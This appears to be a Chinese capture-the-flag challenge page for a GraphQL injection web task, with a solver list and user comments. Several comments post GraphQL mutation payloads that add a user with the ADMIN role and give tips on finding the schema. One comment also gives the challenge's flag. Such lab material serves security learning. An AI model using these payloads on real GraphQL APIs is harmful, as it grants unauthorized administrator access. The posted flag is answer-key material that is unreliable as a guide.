simple web appWEB 未解决
分数:
0
金币:
0
题目作者:
未知
一 血:
Max_yiz
一血奖励:
0金币
解 决:
247
提 示:
描 述:
Yet another injection.
评分(0)
暂无评分
解题动态
ha1@! 攻破了该题 20小时前
AITester 攻破了该题 21小时前
jibabenba 攻破了该题 3天前
AWDAI 攻破了该题 3天前
1233333333 攻破了该题 3天前
zhouxin1288 攻破了该题 5天前
+豛 攻破了该题 9天前
upcwxq666 攻破了该题 13天前
gc 攻破了该题 15天前
wjzkifaa 攻破了该题 19天前
caixinggang 攻破了该题 23天前
fraud 攻破了该题 28天前
时间不会说谎 攻破了该题 28天前
zant 攻破了该题 1月前
星落. 攻破了该题 1月前
yclbest 攻破了该题 1月前
xiaobaili 攻破了该题 1月前
18096199839 攻破了该题 1月前
浪儿 攻破了该题 1月前
评论
Linyuan0624 4月前
举报
{"query": "mutation { addUser(username: \"admin\", password: \"admin123\", email: \"admin@example.com\", role: ADMIN) }"}
WCRH 1年前
举报
难度过高
vincentshine 1年前
举报
前端js 直接拼graphql 有点离谱
xiaoxiao972521 1年前
举报
mutation AddUser { addUser(username: "admin3", password: "admin3", email: "newuser@example.com", role: ADMIN) }
123刹那 2年前
举报
graphql第一搞这个，有点吃力哈哈，看了wp
007 2年前
举报
shellmates{yoU_$hOU1d_$3cuR3_Y0UR_Gr4phqL_4pI}
zouu 2年前
举报
想办法找到graphql的schema就行了
.⎛⎝•̀ω•́⎠⎞. 2年前
举报
不过我发现注册用户时用admin空格，可以注册一个没有admin权限的admin账号
FADogeCTF 2年前
举报
graphql注入
chaoge 2年前
举报
找到schema,通过addUser写入admin角色。